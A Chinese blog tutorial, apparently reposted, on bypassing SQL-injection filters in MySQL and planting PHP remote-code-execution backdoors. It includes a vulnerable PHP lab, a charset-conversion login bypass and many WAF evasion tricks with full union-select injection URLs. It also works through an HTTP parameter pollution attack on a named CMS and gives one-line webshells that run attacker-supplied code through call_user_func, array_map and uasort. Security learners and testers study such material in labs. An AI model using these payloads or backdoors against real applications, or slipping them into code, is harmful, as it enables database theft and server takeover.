您的位置:首页 > 文旅 > 美景 > sql注入绕过+rce

sql注入绕过+rce

2024/12/23 10:24:40 来源:https://blog.csdn.net/qq_64951792/article/details/141109488  浏览:    关键词:sql注入绕过+rce

目录

1、mysql编码绕过

1.1、环境搭建

1.1.1、源码

1.1.2、数据库

1.1.3、检测环境

1.2、绕过技巧

1.2.1、直接使用admin,查询数据,发现权限被拒绝

1.2.2、加上单引号绕过了,但是查询不到数据

1.2.3、试试其他特殊字符,发现c2编码的字符被忽略,成功的查出数据

1.3、编码绕过的原因

1.3.1、字符集的转换

1.3.2、漏洞成因

1.3.3、为什么只有部分字符能使用

2、mysql绕过方法

2.1、空格绕过

2.1.1替代

2.1.2、括号

2.1.3、反引号

2.1.4、浮点数

2.2、引号

2.3、逗号

2.3.1、过滤了逗号后,可以使用join转换

2.3.2、对于盲注的那几个函数substr(),mid(),limit

2.4、比较符号

2.5、or and xor not

2.6、注释符 # (-- ) (--+)

2.7、等号(=)、关键词(如flag)被过滤

2.8、union,select,where

2.9、函数替换

2.10、http参数污染

3、RCE

3.1、php回调后门

3.1.1、call_user_func

3.1.2、array_filter、array_map

3.1.3、assert


1、mysql编码绕过

1.1、环境搭建

1.1.1、源码

<?php
$mysqli = new mysqli("localhost", "root", "root123", "demo");/* check connection */
if ($mysqli->connect_errno) {printf("Connect failed: %s\n", $mysqli->connect_error);exit();
}$mysqli->query("set names utf8");$username = addslashes($_GET['username']);if ($username === 'admin') {die('Permission denied!');
}/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";if ($result = $mysqli->query( $sql )) {printf("Select returned %d rows.\n", $result->num_rows);while ($row = $result->fetch_array(MYSQLI_ASSOC)){var_dump($row);}/* free result set */$result->close();
} else {var_dump($mysqli->error);
}$mysqli->close();

1.1.2、数据库

create schema demo;use demo;CREATE TABLE `table1` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`username` varchar(255) COLLATE latin1_general_ci NOT NULL,`password` varchar(255) COLLATE latin1_general_ci NOT NULL,PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;INSERT `table1` VALUES (1, 'admin', 'admin');

1.1.3、检测环境

http://localhost/test.php

浏览器显示如上图所示,就搭建完成了。

1.2、绕过技巧

查看源码发现,只能使用admin用户名来进行注入。

1.2.1、直接使用admin,查询数据,发现权限被拒绝

http://localhost/test.php?username=admin

1.2.2、加上单引号绕过了,但是查询不到数据

http://localhost/test.php?username=admin%27

1.2.3、试试其他特殊字符,发现c2编码的字符被忽略,成功的查出数据

http://localhost/test.php?username=admin%c2

1.3、编码绕过的原因

1.3.1、字符集的转换

造成这个绕过的根本原因是mysql字段的字符集和php mysqli的客户端设置的字符集不相同。

mysql字段的默认的字符集

SHOW VARIABLES LIKE 'character_set_%';

php mysqli客户端的字符集

若果要更改,使用set names utf8;命令更改

既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。

1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集

1.3.2、漏洞成因

为什么%c2会被忽略?

个人认为,虽然改变了字符集,但是mysql还是使用了默认的latin1字符集,在mysql进行字符转换时,会将不完整的字符给忽略。

例如:纵这个汉字的编码为\xe7\xba\xb5,可以依次尝试访问下面三个URL:

http://localhost/test.php?username=admin%e7

http://localhost/test.php?username=admin%e7%ba

http://localhost/test.php?username=admin%e7%ba%b5

可以发现,前两者都能成功获取到username=admin的结果,而最后一个URL,也就是当我输入纵字完整的编码时,将会被抛出一个错误:

为什么会抛出错误?原因很简单,因为latin1并不支持汉字,所以utf8汉字转换成latin1时就抛出了错误。

那前两次为什么没有抛出错误?因为前两次输入的编码并不完整,Mysql在进行编码转换时,就将其忽略了。

这个特点也导致,我们查询username=admin%e7时,%e7被省略,最后查出了username=admin的结果。

1.3.3、为什么只有部分字符能使用

简单测试了一下,发现以下结果:

\x00~\x7F: 返回空白结果
\x80~\xC1: 返回错误Illegal mix of collations
\xC2~\xEF: 返回admin的结果
\xF0~\xFF: 返回错误Illegal mix of collations
这就涉及到Mysql编码相关的知识了,先看看维基百科吧。

UTF-8编码是变长编码,可能有1~4个字节表示:

一字节时范围是[00-7F]
两字节时范围是[C0-DF][80-BF]
三字节时范围是[E0-EF][80-BF][80-BF]
四字节时范围是[F0-F7][80-BF][80-BF][80-BF]

然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中的:

所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4,这也是我在admin后面加上80-C1、F5-FF等字符时会抛出错误的原因。

但是使用四字节编码也会报错

这是因为mysql使用的utf8的字符集是阉割版的utf-8编码,mysql中的utf8字符集最长只支持三个字节。

如果你需要Mysql支持四字节的utf-8,可以使用utf8mb4编码。我将原始代码中的set names改成set names utf8mb4,再看看效果:

发现,还是不行:

2、mysql绕过方法

2.1、空格绕过

2.1.1替代

可以使用注释符/**/、%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/*!*/、两个空格、tab键替代空格

2.1.2、括号

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

select(concat(username,0x7e,password))from security.users;

2.1.3、反引号

反引号 `` 包住表名

select * from`table1`;

2.1.4、浮点数

只能用在id后面,用来让过\bunion(.*)select\b的正则

http://192.168.208.143/sqllab/Less-2/?id=-1.0union%20select%201,2,3--+

select * from users where id=8E0union select 1,2,3;
select * from users where id=8.0union select 1,2,3;

2.2、引号

过滤了引号后,可以将表名转换为十六进制

http://192.168.208.143/sqllab/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479--+

2.3、逗号

2.3.1、过滤了逗号后,可以使用join转换

http://192.168.208.143/sqllab/Less-2/?id=-1%20union%20select%20*%20from%20(select%201)a%20join%20(select%202)b%20join%20(select%203)c--+

2.3.2、对于盲注的那几个函数substr(),mid(),limit

substr和mid()可以使用from for的方法解决

substr(str from pos for len) 	#在str中从第pos位截取len长的字符
mid(str from pos for len)		#在str中从第pos位截取len长的字符

mid()使用like,可以查询以什么什么开头的方式来替代

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

 limit可以用offset的方法绕过

select * from news limit 1,2
select * from news limit 1 offset 0

2.4、比较符号

(1)greatest(n1,n2,n3,...) //返回其中的最大值

select * from users where id=1 and greatest(ascii(substr(database(),1,1)),32)=115;


(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1

select * from users where id=1 and strcmp(ascii(substr(database(),1,1)),114);


(3)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

2.5、or and xor not

and=&&  or=||   xor=|   not=!

2.6、注释符 # (-- ) (--+)

id=1' union select 1,2,3||'1

2.7、等号(=)、关键词(如flag)被过滤

使用like 、rlike 、regexp 或者 使用< 或者 >
select * from tb1 where name like'fl%';	# %表示0个或多个字符,_表示1个字符
select * from tb1 where name regexp'{';	#正则
select * from tb1 where name regexp('{');
select * from users where username like 'ad%';

2.8、union,select,where

1、加注释和数字绕过

/*!50000UniON SeLeCt*/

2、使用注释符拆分绕过

常用注释符

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

2.9、函数替换

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、left()、substr() ==> substring()

2.10、http参数污染

利用原理,出现两个相同参数时,php会取第二个参数。其他中间件参考如图

下面用,贷齐乐系统最新版sql注入,来进行演示;

源码:

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格// 经过第一个waf处理//i_d=1&i.d=aaaaa&submit=1foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);}// 经过第二个WAF处理$request_uri = explode("?", $_SERVER['REQUEST_URI']);//i_d=1&i.d=aaaaa&submit=1if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);//print_r($rewrite_url);exit;foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {//$_REQUEST[I_d]=-1 union select flag users$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}
//   $_REQUEST不能有恶意字符
// $_SERVER// 业务处理//?i_d&i.d=aaaaaaaif (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result=mysql_query($sql);while($row = mysql_fetch_array($result)){echo "<tr>";echo "<td>" . $row['username'] . "</td>";echo "</tr>";}}
?>

解析:

查看源码后发现i_d取了两遍,我们可以利用这一点,来进行全局污染。

在PHP中有一个特性会把.或]转化为_;我们可以利用这一特性。

http://localhost/daiqile/index.php?submit=aaaaaaaaaa&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=1

考察:

1、hpp全局污染,php接受相同参数,取后者

2、i.d在php中,自动转换i_d

3、注入绕过 = ‘’ 空格

3、RCE

3.1、php回调后门

3.1.1、call_user_func

源码:

<?php
call_user_func('assert', $_REQUEST['pass']);
?>

注入:

http://127.0.0.1/demo.php?pass=phpinfo()

3.1.2、array_filter、array_map

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

3.1.3、assert

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com